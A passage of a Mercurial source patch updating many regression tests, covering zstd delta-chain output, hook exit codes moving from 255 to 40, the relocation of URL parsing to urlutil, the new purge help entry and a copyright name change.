MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. @@ -1580,7 +1580,7 @@ Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information) - Copyright (C) 2005-* Matt Mackall and others (glob) + Copyright (C) 2005-* Olivia Mackall and others (glob) This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. @@ -1642,7 +1642,7 @@ Mercurial Distributed SCM (version 3.5.2) (see https://mercurial-scm.org for more information) - Copyright (C) 2005-* Matt Mackall and others (glob) + Copyright (C) 2005-* Olivia Mackall and others (glob) This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-fix.t --- a/tests/test-fix.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-fix.t Tue Apr 20 11:01:06 2021 -0400 @@ -1106,14 +1106,13 @@ $ printf "foo\n" > foo.changed $ hg commit -Aqm "foo" - $ hg debugobsolete `hg parents --template '{node}'` - 1 new obsolescence markers - obsoleted 1 changesets + $ hg ci --amend -m rewritten $ hg --hidden fix -r 0 abort: fixing obsolete revision could cause divergence [255] $ hg --hidden fix -r 0 --config experimental.evolution.allowdivergence=true + 2 new content-divergent changesets $ hg cat -r tip foo.changed FOO diff -r bc268ea9f984 -r f67b8946bb1b tests/test-generaldelta.t --- a/tests/test-generaldelta.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-generaldelta.t Tue Apr 20 11:01:06 2021 -0400 @@ -106,22 +106,33 @@ 3 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg -R repo debugdeltachain -m rev chain# chainlen prev delta size rawsize chainsize ratio lindist extradist extraratio - 0 1 1 -1 base 104 135 104 0.77037 104 0 0.00000 - 1 1 2 0 prev 57 135 161 1.19259 161 0 0.00000 - 2 1 3 1 prev 57 135 218 1.61481 218 0 0.00000 + 0 1 1 -1 base 104 135 104 0.77037 104 0 0.00000 (no-zstd !) + 1 1 2 0 prev 57 135 161 1.19259 161 0 0.00000 (no-zstd !) + 2 1 3 1 prev 57 135 218 1.61481 218 0 0.00000 (no-zstd !) + 0 1 1 -1 base 107 135 107 0.79259 107 0 0.00000 (zstd !) + 1 1 2 0 prev 57 135 164 1.21481 164 0 0.00000 (zstd !) + 2 1 3 1 prev 57 135 221 1.63704 221 0 0.00000 (zstd !) 3 2 1 -1 base 104 135 104 0.77037 104 0 0.00000 $ hg -R usegd debugdeltachain -m rev chain# chainlen prev delta size rawsize chainsize ratio lindist extradist extraratio - 0 1 1 -1 base 104 135 104 0.77037 104 0 0.00000 - 1 1 2 0 p1 57 135 161 1.19259 161 0 0.00000 - 2 1 3 1 prev 57 135 218 1.61481 218 0 0.00000 - 3 1 2 0 p1 57 135 161 1.19259 275 114 0.70807 + 0 1 1 -1 base 104 135 104 0.77037 104 0 0.00000 (no-zstd !) + 1 1 2 0 p1 57 135 161 1.19259 161 0 0.00000 (no-zstd !) + 2 1 3 1 prev 57 135 218 1.61481 218 0 0.00000 (no-zstd !) + 3 1 2 0 p1 57 135 161 1.19259 275 114 0.70807 (no-zstd !) + 0 1 1 -1 base 107 135 107 0.79259 107 0 0.00000 (zstd !) + 1 1 2 0 p1 57 135 164 1.21481 164 0 0.00000 (zstd !) + 2 1 3 1 prev 57 135 221 1.63704 221 0 0.00000 (zstd !) + 3 1 2 0 p1 57 135 164 1.21481 278 114 0.69512 (zstd !) $ hg -R full debugdeltachain -m rev chain# chainlen prev delta size rawsize chainsize ratio lindist extradist extraratio - 0 1 1 -1 base 104 135 104 0.77037 104 0 0.00000 - 1 1 2 0 p1 57 135 161 1.19259 161 0 0.00000 - 2 1 2 0 p1 57 135 161 1.19259 218 57 0.35404 - 3 1 2 0 p1 57 135 161 1.19259 275 114 0.70807 + 0 1 1 -1 base 104 135 104 0.77037 104 0 0.00000 (no-zstd !) + 1 1 2 0 p1 57 135 161 1.19259 161 0 0.00000 (no-zstd !) + 2 1 2 0 p1 57 135 161 1.19259 218 57 0.35404 (no-zstd !) + 3 1 2 0 p1 57 135 161 1.19259 275 114 0.70807 (no-zstd !) + 0 1 1 -1 base 107 135 107 0.79259 107 0 0.00000 (zstd !) + 1 1 2 0 p1 57 135 164 1.21481 164 0 0.00000 (zstd !) + 2 1 2 0 p1 57 135 164 1.21481 221 57 0.34756 (zstd !) + 3 1 2 0 p1 57 135 164 1.21481 278 114 0.69512 (zstd !) Test revlog.optimize-delta-parent-choice @@ -142,9 +153,12 @@ $ hg commit -q -m merge $ hg debugdeltachain -m rev chain# chainlen prev delta size rawsize chainsize ratio lindist extradist extraratio - 0 1 1 -1 base 59 215 59 0.27442 59 0 0.00000 - 1 1 2 0 prev 61 86 120 1.39535 120 0 0.00000 - 2 1 2 0 p2 62 301 121 0.40199 182 61 0.50413 + 0 1 1 -1 base 59 215 59 0.27442 59 0 0.00000 (no-zstd !) + 1 1 2 0 prev 61 86 120 1.39535 120 0 0.00000 (no-zstd !) + 2 1 2 0 p2 62 301 121 0.40199 182 61 0.50413 (no-zstd !) + 0 1 1 -1 base 68 215 68 0.31628 68 0 0.00000 (zstd !) + 1 1 2 0 prev 70 86 138 1.60465 138 0 0.00000 (zstd !) + 2 1 2 0 p2 68 301 136 0.45183 206 70 0.51471 (zstd !) $ hg strip -q -r . --config extensions.strip= @@ -154,9 +168,12 @@ $ hg commit -q -m merge --config storage.revlog.optimize-delta-parent-choice=yes $ hg debugdeltachain -m rev chain# chainlen prev delta size rawsize chainsize ratio lindist extradist extraratio - 0 1 1 -1 base 59 215 59 0.27442 59 0 0.00000 - 1 1 2 0 prev 61 86 120 1.39535 120 0 0.00000 - 2 1 2 0 p2 62 301 121 0.40199 182 61 0.50413 + 0 1 1 -1 base 59 215 59 0.27442 59 0 0.00000 (no-zstd !) + 1 1 2 0 prev 61 86 120 1.39535 120 0 0.00000 (no-zstd !) + 2 1 2 0 p2 62 301 121 0.40199 182 61 0.50413 (no-zstd !) + 0 1 1 -1 base 68 215 68 0.31628 68 0 0.00000 (zstd !) + 1 1 2 0 prev 70 86 138 1.60465 138 0 0.00000 (zstd !) + 2 1 2 0 p2 68 301 136 0.45183 206 70 0.51471 (zstd !) Test that strip bundle use bundle2 $ hg --config extensions.strip= strip . @@ -267,12 +284,17 @@ 46 3 29 45 p1 58 1334 1671 1.25262 1671 0 0.00000 47 3 30 46 p1 58 1380 1729 1.25290 1729 0 0.00000 48 3 31 47 p1 58 1426 1787 1.25316 1787 0 0.00000 - 49 4 1 -1 base 197 316 197 0.62342 197 0 0.00000 - 50 4 2 49 p1 58 362 255 0.70442 255 0 0.00000 - 51 4 3 50 prev 356 594 611 1.02862 611 0 0.00000 - 52 4 4 51 p1 58 640 669 1.04531 669 0 0.00000 + 49 4 1 -1 base 197 316 197 0.62342 197 0 0.00000 (no-zstd !) + 50 4 2 49 p1 58 362 255 0.70442 255 0 0.00000 (no-zstd !) + 51 4 3 50 prev 356 594 611 1.02862 611 0 0.00000 (no-zstd !) + 52 4 4 51 p1 58 640 669 1.04531 669 0 0.00000 (no-zstd !) + 49 4 1 -1 base 205 316 205 0.64873 205 0 0.00000 (zstd !) + 50 4 2 49 p1 58 362 263 0.72652 263 0 0.00000 (zstd !) + 51 4 3 50 prev 366 594 629 1.05892 629 0 0.00000 (zstd !) + 52 4 4 51 p1 58 640 687 1.07344 687 0 0.00000 (zstd !) 53 5 1 -1 base 0 0 0 0.00000 0 0 0.00000 - 54 6 1 -1 base 369 640 369 0.57656 369 0 0.00000 + 54 6 1 -1 base 369 640 369 0.57656 369 0 0.00000 (no-zstd !) + 54 6 1 -1 base 375 640 375 0.58594 375 0 0.00000 (zstd !) $ hg clone --pull source-repo --config experimental.maxdeltachainspan=2800 relax-chain --config format.generaldelta=yes requesting all changes adding changesets @@ -333,12 +355,17 @@ 46 3 29 45 p1 58 1334 1671 1.25262 1671 0 0.00000 47 3 30 46 p1 58 1380 1729 1.25290 1729 0 0.00000 48 3 31 47 p1 58 1426 1787 1.25316 1787 0 0.00000 - 49 4 1 -1 base 197 316 197 0.62342 197 0 0.00000 - 50 4 2 49 p1 58 362 255 0.70442 255 0 0.00000 - 51 2 13 17 p1 58 594 739 1.24411 2781 2042 2.76319 - 52 5 1 -1 base 369 640 369 0.57656 369 0 0.00000 + 49 4 1 -1 base 197 316 197 0.62342 197 0 0.00000 (no-zstd !) + 50 4 2 49 p1 58 362 255 0.70442 255 0 0.00000 (no-zstd !) + 51 2 13 17 p1 58 594 739 1.24411 2781 2042 2.76319 (no-zstd !) + 52 5 1 -1 base 369 640 369 0.57656 369 0 0.00000 (no-zstd !) + 49 4 1 -1 base 205 316 205 0.64873 205 0 0.00000 (zstd !) + 50 4 2 49 p1 58 362 263 0.72652 263 0 0.00000 (zstd !) + 51 2 13 17 p1 58 594 739 1.24411 2789 2050 2.77402 (zstd !) + 52 5 1 -1 base 375 640 375 0.58594 375 0 0.00000 (zstd !) 53 6 1 -1 base 0 0 0 0.00000 0 0 0.00000 - 54 7 1 -1 base 369 640 369 0.57656 369 0 0.00000 + 54 7 1 -1 base 369 640 369 0.57656 369 0 0.00000 (no-zstd !) + 54 7 1 -1 base 375 640 375 0.58594 375 0 0.00000 (zstd !) $ hg clone --pull source-repo --config experimental.maxdeltachainspan=0 noconst-chain --config format.usegeneraldelta=yes --config storage.revlog.reuse-external-delta-parent=no requesting all changes adding changesets @@ -404,4 +431,5 @@ 51 2 13 17 p1 58 594 739 1.24411 2642 1903 2.57510 52 2 14 51 p1 58 640 797 1.24531 2700 1903 2.38770 53 4 1 -1 base 0 0 0 0.00000 0 0 0.00000 - 54 5 1 -1 base 369 640 369 0.57656 369 0 0.00000 + 54 5 1 -1 base 369 640 369 0.57656 369 0 0.00000 (no-zstd !) + 54 5 1 -1 base 375 640 375 0.58594 375 0 0.00000 (zstd !) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-git-interop.t --- a/tests/test-git-interop.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-git-interop.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,4 +1,4 @@ -#require pygit2 +#require pygit2 no-windows Setup: $ GIT_AUTHOR_NAME='test'; export GIT_AUTHOR_NAME @@ -14,6 +14,7 @@ > git commit "$@" >/dev/null 2>/dev/null || echo "git commit error" > count=`expr $count + 1` > } + $ git config --global init.defaultBranch master $ hg version -v --config extensions.git= | grep '^[E ]' @@ -28,9 +29,9 @@ $ hg status abort: repository specified git format in .hg/requires but has no .git directory [255] + $ git config --global init.defaultBranch master $ git init Initialized empty Git repository in $TESTTMP/nogit/.git/ - $ git config --global init.defaultBranch master This status invocation shows some hg gunk because we didn't use `hg init --git`, which fixes up .git/info/exclude for us. $ hg status diff -r bc268ea9f984 -r f67b8946bb1b tests/test-globalopts.t --- a/tests/test-globalopts.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-globalopts.t Tue Apr 20 11:01:06 2021 -0400 @@ -65,6 +65,8 @@ -R with path aliases: +TODO: add rhg support for path aliases +#if no-rhg $ cd c $ hg -R default identify 8580ff50825a tip @@ -75,6 +77,7 @@ $ HOME=`pwd`/../ hg -R relativetohome identify 8580ff50825a tip $ cd .. +#endif #if no-outer-repo @@ -215,6 +218,8 @@ $ hg --cwd c --config paths.quuxfoo=bar paths | grep quuxfoo > /dev/null && echo quuxfoo quuxfoo +TODO: add rhg support for detailed exit codes +#if no-rhg $ hg --cwd c --config '' tip -q abort: malformed --config option: '' (use --config section.name=value) [10] @@ -230,6 +235,7 @@ $ hg --cwd c --config .b= tip -q abort: malformed --config option: '.b=' (use --config section.name=value) [10] +#endif Testing --debug: @@ -264,7 +270,7 @@ Testing --traceback: -#if no-chg +#if no-chg no-rhg $ hg --cwd c --config x --traceback id 2>&1 | grep -i 'traceback' Traceback (most recent call last): Traceback (most recent call last): (py3 !) @@ -351,6 +357,7 @@ addremove add all new files, delete all missing files files list tracked files forget forget the specified files on the next commit + purge removes files not tracked by Mercurial remove remove the specified files on the next commit rename rename files; equivalent of copy + remove resolve redo merges or set/view the merge status of files @@ -483,6 +490,7 @@ addremove add all new files, delete all missing files files list tracked files forget forget the specified files on the next commit + purge removes files not tracked by Mercurial remove remove the specified files on the next commit rename rename files; equivalent of copy + remove resolve redo merges or set/view the merge status of files diff -r bc268ea9f984 -r f67b8946bb1b tests/test-graft.t --- a/tests/test-graft.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-graft.t Tue Apr 20 11:01:06 2021 -0400 @@ -223,10 +223,6 @@ committing changelog updating the branch cache grafting 5:97f8bfe72746 "5" - all copies found (* = to merge, ! = divergent, % = renamed and deleted): - on local side: - src: 'c' -> dst: 'b' - checking for directory renames resolving manifests branchmerge: True, force: True, partial: False ancestor: 4c60f11aa304, local: 6b9e5368ca4e+, remote: 97f8bfe72746 @@ -240,10 +236,6 @@ $ HGEDITOR=cat hg graft 4 3 --log --debug scanning for duplicate grafts grafting 4:9c233e8e184d "4" - all copies found (* = to merge, ! = divergent, % = renamed and deleted): - on local side: - src: 'c' -> dst: 'b' - checking for directory renames resolving manifests branchmerge: True, force: True, partial: False ancestor: 4c60f11aa304, local: 1905859650ec+, remote: 9c233e8e184d diff -r bc268ea9f984 -r f67b8946bb1b tests/test-help-hide.t --- a/tests/test-help-hide.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-help-hide.t Tue Apr 20 11:01:06 2021 -0400 @@ -55,6 +55,7 @@ addremove add all new files, delete all missing files files list tracked files forget forget the specified files on the next commit + purge removes files not tracked by Mercurial remove remove the specified files on the next commit rename rename files; equivalent of copy + remove resolve redo merges or set/view the merge status of files @@ -191,6 +192,7 @@ addremove add all new files, delete all missing files files list tracked files forget forget the specified files on the next commit + purge removes files not tracked by Mercurial remove remove the specified files on the next commit rename rename files; equivalent of copy + remove resolve redo merges or set/view the merge status of files diff -r bc268ea9f984 -r f67b8946bb1b tests/test-help.t --- a/tests/test-help.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-help.t Tue Apr 20 11:01:06 2021 -0400 @@ -107,6 +107,7 @@ addremove add all new files, delete all missing files files list tracked files forget forget the specified files on the next commit + purge removes files not tracked by Mercurial remove remove the specified files on the next commit rename rename files; equivalent of copy + remove resolve redo merges or set/view the merge status of files @@ -235,6 +236,7 @@ addremove add all new files, delete all missing files files list tracked files forget forget the specified files on the next commit + purge removes files not tracked by Mercurial remove remove the specified files on the next commit rename rename files; equivalent of copy + remove resolve redo merges or set/view the merge status of files @@ -375,8 +377,6 @@ mq manage a stack of patches notify hooks for sending email push notifications patchbomb command to send changesets as (a series of) patch emails - purge command to delete untracked files from the working - directory relink recreates hardlinks between repository clones schemes extend schemes with shortcuts to repository swarms share share a common history between several working directories @@ -575,7 +575,7 @@ Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information) - Copyright (C) 2005-* Matt Mackall and others (glob) + Copyright (C) 2005-* Olivia Mackall and others (glob) This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. @@ -1069,6 +1069,7 @@ debugsetparents manually set the parents of the current working directory (DANGEROUS) + debugshell run an interactive Python interpreter debugsidedata dump the side data for a cl/manifest/file revision debugssl test a secure connection to a server @@ -1832,7 +1833,7 @@ These symbolic names can be used from the command line. To pull from "my_server": 'hg pull my_server'. To push to "local_path": 'hg push - local_path'. + local_path'. You can check 'hg help urls' for details about valid URLs. Options containing colons (":") denote sub-options that can influence behavior for that specific path. Example: @@ -1841,6 +1842,9 @@ my_server = https://example.com/my_path my_server:pushurl = ssh://example.com/my_path + Paths using the 'path://otherpath' scheme will inherit the sub-options + value from the path they point to. + The following sub-options can be defined: "pushurl" @@ -2720,6 +2724,13 @@ set or show the current phase name + + purge + + + removes files not tracked by Mercurial + + recover diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hg-parseurl.py --- a/tests/test-hg-parseurl.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hg-parseurl.py Tue Apr 20 11:01:06 2021 -0400 @@ -2,44 +2,48 @@ import unittest -from mercurial import hg +from mercurial.utils import urlutil class ParseRequestTests(unittest.TestCase): def testparse(self): self.assertEqual( - hg.parseurl(b'http://example.com/no/anchor'), + urlutil.parseurl(b'http://example.com/no/anchor'), (b'http://example.com/no/anchor', (None, [])), ) self.assertEqual( - hg.parseurl(b'http://example.com/an/anchor#foo'), + urlutil.parseurl(b'http://example.com/an/anchor#foo'), (b'http://example.com/an/anchor', (b'foo', [])), ) self.assertEqual( - hg.parseurl(b'http://example.com/no/anchor/branches', [b'foo']), + urlutil.parseurl( + b'http://example.com/no/anchor/branches', [b'foo'] + ), (b'http://example.com/no/anchor/branches', (None, [b'foo'])), ) self.assertEqual( - hg.parseurl(b'http://example.com/an/anchor/branches#bar', [b'foo']), + urlutil.parseurl( + b'http://example.com/an/anchor/branches#bar', [b'foo'] + ), (b'http://example.com/an/anchor/branches', (b'bar', [b'foo'])), ) self.assertEqual( - hg.parseurl( + urlutil.parseurl( b'http://example.com/an/anchor/branches-None#foo', None ), (b'http://example.com/an/anchor/branches-None', (b'foo', [])), ) self.assertEqual( - hg.parseurl(b'http://example.com/'), + urlutil.parseurl(b'http://example.com/'), (b'http://example.com/', (None, [])), ) self.assertEqual( - hg.parseurl(b'http://example.com'), + urlutil.parseurl(b'http://example.com'), (b'http://example.com/', (None, [])), ) self.assertEqual( - hg.parseurl(b'http://example.com#foo'), + urlutil.parseurl(b'http://example.com#foo'), (b'http://example.com/', (b'foo', [])), ) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hgrc.t --- a/tests/test-hgrc.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hgrc.t Tue Apr 20 11:01:06 2021 -0400 @@ -59,7 +59,7 @@ #if unix-permissions no-root $ chmod u-r $TESTTMP/included $ hg showconfig section - config error at $TESTTMP/hgrc:2: cannot include $TESTTMP/included (Permission denied) + config error at $TESTTMP/hgrc:2: cannot include $TESTTMP/included (Permission denied*) (glob) [255] #endif @@ -84,7 +84,7 @@ Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information) - Copyright (C) 2005-* Matt Mackall and others (glob) + Copyright (C) 2005-* Olivia Mackall and others (glob) This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. $ unset FAKEPATH diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hgweb-auth.py --- a/tests/test-hgweb-auth.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hgweb-auth.py Tue Apr 20 11:01:06 2021 -0400 @@ -10,7 +10,10 @@ url, util, ) -from mercurial.utils import stringutil +from mercurial.utils import ( + stringutil, + urlutil, +) urlerr = util.urlerr urlreq = util.urlreq @@ -60,7 +63,7 @@ print('URI:', pycompat.strurl(uri)) try: pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm()) - u, authinfo = util.url(uri).authinfo() + u, authinfo = urlutil.url(uri).authinfo() if authinfo is not None: pm.add_password(*_stringifyauthinfo(authinfo)) print( @@ -198,10 +201,12 @@ def testauthinfo(fullurl, authurl): print('URIs:', fullurl, authurl) pm = urlreq.httppasswordmgrwithdefaultrealm() - ai = _stringifyauthinfo(util.url(pycompat.bytesurl(fullurl)).authinfo()[1]) + ai = _stringifyauthinfo( + urlutil.url(pycompat.bytesurl(fullurl)).authinfo()[1] + ) pm.add_password(*ai) print(pm.find_user_password('test', authurl)) -print('\n*** Test urllib2 and util.url\n') +print('\n*** Test urllib2 and urlutil.url\n') testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo') diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hgweb-auth.py.out --- a/tests/test-hgweb-auth.py.out Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hgweb-auth.py.out Tue Apr 20 11:01:06 2021 -0400 @@ -211,7 +211,7 @@ URI: http://example.org/foo abort -*** Test urllib2 and util.url +*** Test urllib2 and urlutil.url URIs: http://user@example.com:8080/foo http://example.com:8080/foo ('user', '') diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hgweb-commands.t --- a/tests/test-hgweb-commands.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hgweb-commands.t Tue Apr 20 11:01:06 2021 -0400 @@ -2193,7 +2193,8 @@ lookup pushkey stream-preferred - streamreqs=generaldelta,revlogv1,sparserevlog + streamreqs=generaldelta,revlogv1,sparserevlog (no-rust !) + streamreqs=generaldelta,persistent-nodemap,revlogv1,sparserevlog (rust !) unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hgweb-filelog.t --- a/tests/test-hgweb-filelog.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hgweb-filelog.t Tue Apr 20 11:01:06 2021 -0400 @@ -656,7 +656,7 @@ An error occurred while processing your request:

- a@6563da9dcf87: not found in manifest + a@6563da9dcf87b1949716e38ff3e3dfaa3198eb06: not found in manifest

diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hgweb-json.t --- a/tests/test-hgweb-json.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hgweb-json.t Tue Apr 20 11:01:06 2021 -0400 @@ -2190,6 +2190,10 @@ "topic": "phase" }, { + "summary": "removes files not tracked by Mercurial", + "topic": "purge" + }, + { "summary": "roll back an interrupted transaction", "topic": "recover" }, diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hgweb.t --- a/tests/test-hgweb.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hgweb.t Tue Apr 20 11:01:06 2021 -0400 @@ -149,7 +149,7 @@ 404 Not Found - error: bork@2ef0ac749a14: not found in manifest + error: bork@2ef0ac749a14e4f57a5a822464a0902c6f7f448f: not found in manifest [1] $ get-with-headers.py localhost:$HGPORT 'file/tip/bork' 404 Not Found @@ -202,7 +202,7 @@ An error occurred while processing your request:

- bork@2ef0ac749a14: not found in manifest + bork@2ef0ac749a14e4f57a5a822464a0902c6f7f448f: not found in manifest

@@ -218,7 +218,7 @@ 404 Not Found - error: bork@2ef0ac749a14: not found in manifest + error: bork@2ef0ac749a14e4f57a5a822464a0902c6f7f448f: not found in manifest [1] try bad style diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hgwebdir.t --- a/tests/test-hgwebdir.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hgwebdir.t Tue Apr 20 11:01:06 2021 -0400 @@ -103,7 +103,7 @@ 404 Not Found - error: bork@8580ff50825a: not found in manifest + error: bork@8580ff50825a50c8f716709acdf8de0deddcd6ab: not found in manifest [1] should succeed diff -r bc268ea9f984 -r f67b8946bb1b tests/test-histedit-edit.t --- a/tests/test-histedit-edit.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-histedit-edit.t Tue Apr 20 11:01:06 2021 -0400 @@ -375,7 +375,7 @@ note: commit message saved in .hg/last-message.txt note: use 'hg commit --logfile .hg/last-message.txt --edit' to reuse it abort: pretxncommit.unexpectedabort hook exited with status 1 - [255] + [40] $ cat .hg/last-message.txt f @@ -400,7 +400,7 @@ note: commit message saved in .hg/last-message.txt note: use 'hg commit --logfile .hg/last-message.txt --edit' to reuse it abort: pretxncommit.unexpectedabort hook exited with status 1 - [255] + [40] $ cat >> .hg/hgrc < [hooks] diff -r bc268ea9f984 -r f67b8946bb1b tests/test-histedit-fold.t --- a/tests/test-histedit-fold.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-histedit-fold.t Tue Apr 20 11:01:06 2021 -0400 @@ -202,7 +202,7 @@ transaction abort! rollback completed abort: pretxncommit.abortfolding hook failed - [255] + [40] $ cat .hg/last-message.txt f diff -r bc268ea9f984 -r f67b8946bb1b tests/test-histedit-non-commute-abort.t --- a/tests/test-histedit-non-commute-abort.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-histedit-non-commute-abort.t Tue Apr 20 11:01:06 2021 -0400 @@ -84,6 +84,7 @@ ancestor path: e (node 0000000000000000000000000000000000000000) other path: e (node 6b67ccefd5ce6de77e7ead4f5292843a0255329f) extra: ancestorlinknode = 0000000000000000000000000000000000000000 + extra: merged = yes $ hg resolve -l U e diff -r bc268ea9f984 -r f67b8946bb1b tests/test-hook.t --- a/tests/test-hook.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-hook.t Tue Apr 20 11:01:06 2021 -0400 @@ -227,7 +227,7 @@ HG_PATS=[] abort: pre-identify hook exited with status 1 - [255] + [40] $ hg cat b pre-cat hook: HG_ARGS=cat b HG_HOOKNAME=pre-cat @@ -390,7 +390,7 @@ HG_TAG=fa abort: pretag.forbid hook exited with status 1 - [255] + [40] $ hg tag -l fla pretag hook: HG_HOOKNAME=pretag HG_HOOKTYPE=pretag @@ -405,7 +405,7 @@ HG_TAG=fla abort: pretag.forbid hook exited with status 1 - [255] + [40] pretxncommit hook can see changeset, can roll back txn, changeset no more there after @@ -451,7 +451,7 @@ rollback completed abort: pretxncommit.forbid1 hook exited with status 1 - [255] + [40] $ hg -q tip 4:539e4b31b6dc @@ -485,7 +485,7 @@ HG_PARENT1=539e4b31b6dc99b3cfbaa6b53cbc1c1f9a1e3a10 abort: precommit.forbid hook exited with status 1 - [255] + [40] $ hg -q tip 4:539e4b31b6dc @@ -644,7 +644,7 @@ HG_URL=file:$TESTTMP/a abort: prepushkey hook exited with status 1 - [255] + [40] $ cd ../a test that prelistkeys can prevent listing keys @@ -679,7 +679,7 @@ HG_NAMESPACE=bookmarks abort: prelistkeys hook exited with status 1 - [255] + [40] $ cd ../a $ rm .hg/hgrc @@ -704,7 +704,7 @@ HG_URL=file:$TESTTMP/a abort: prechangegroup.forbid hook exited with status 1 - [255] + [40] pretxnchangegroup hook can see incoming changes, can roll back txn, incoming changes no longer there after @@ -735,7 +735,7 @@ transaction abort! rollback completed abort: pretxnchangegroup.forbid1 hook exited with status 1 - [255] + [40] $ hg -q tip 3:07f3376c1e65 @@ -786,7 +786,7 @@ HG_SOURCE=pull abort: preoutgoing.forbid hook exited with status 1 - [255] + [40] outgoing hooks work for local clones @@ -825,7 +825,7 @@ HG_SOURCE=clone abort: preoutgoing.forbid hook exited with status 1 - [255] + [40] $ cd "$TESTTMP/b" @@ -915,7 +915,7 @@ hooktype preoutgoing source pull abort: preoutgoing.fail hook failed - [255] + [40] $ echo '[hooks]' > ../a/.hg/hgrc $ echo 'preoutgoing.uncallable = python:hooktests.uncallable' >> ../a/.hg/hgrc @@ -1283,7 +1283,7 @@ rollback completed strip failed, backup bundle stored in * (glob) abort: pretxnclose.error hook exited with status 1 - [255] + [40] $ hg recover no interrupted transaction available [1] @@ -1306,7 +1306,7 @@ transaction abort! rollback completed abort: pretxnclose hook exited with status 1 - [255] + [40] $ cp .hg/store/00changelog.i.a.saved .hg/store/00changelog.i.a (check (in)visibility of new changeset while transaction running in @@ -1331,7 +1331,7 @@ transaction abort! rollback completed abort: pretxnclose hook exited with status 1 - [255] + [40] Hook from untrusted hgrc are reported as failure ================================================ @@ -1382,7 +1382,7 @@ rollback completed abort: untrusted hook pretxnclose.testing not executed (see 'hg help config.trusted') - [255] + [40] $ hg log changeset: 0:3903775176ed tag: tip @@ -1407,12 +1407,12 @@ $ cat << EOF >> .hg/hgrc > [hooks] - > pre-version.testing-default=echo '### default ###' plain: \${HGPLAIN:-''} - > pre-version.testing-yes=echo '### yes #######' plain: \${HGPLAIN:-''} + > pre-version.testing-default=sh -c "echo '### default ###' plain: \${HGPLAIN:-''}" + > pre-version.testing-yes=sh -c "echo '### yes #######' plain: \${HGPLAIN:-''}" > pre-version.testing-yes:run-with-plain=yes - > pre-version.testing-no=echo '### no ########' plain: \${HGPLAIN:-''} + > pre-version.testing-no=sh -c "echo '### no ########' plain: \${HGPLAIN:-''}" > pre-version.testing-no:run-with-plain=no - > pre-version.testing-auto=echo '### auto ######' plain: \${HGPLAIN:-''} + > pre-version.testing-auto=sh -c "echo '### auto ######' plain: \${HGPLAIN:-''}" > pre-version.testing-auto:run-with-plain=auto > EOF diff -r bc268ea9f984 -r f67b8946bb1b tests/test-http-bad-server.t --- a/tests/test-http-bad-server.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-http-bad-server.t Tue Apr 20 11:01:06 2021 -0400 @@ -13,6 +13,7 @@ > fakeversion = `pwd`/fakeversion.py > [format] > sparse-revlog = no + > use-persistent-nodemap = no > [devel] > legacy.exchange = phases > [server] @@ -118,17 +119,17 @@ readline(115 from *) -> (*) host: localhost:$HGPORT\r\n (glob) readline(* from *) -> (49) user-agent: mercurial/proto-1.0 (Mercurial 4.2)\r\n (glob) readline(* from *) -> (2) \r\n (glob) - sendall(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py36 !) - sendall(450) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) - write(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py3 no-py36 !) - write(450) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known 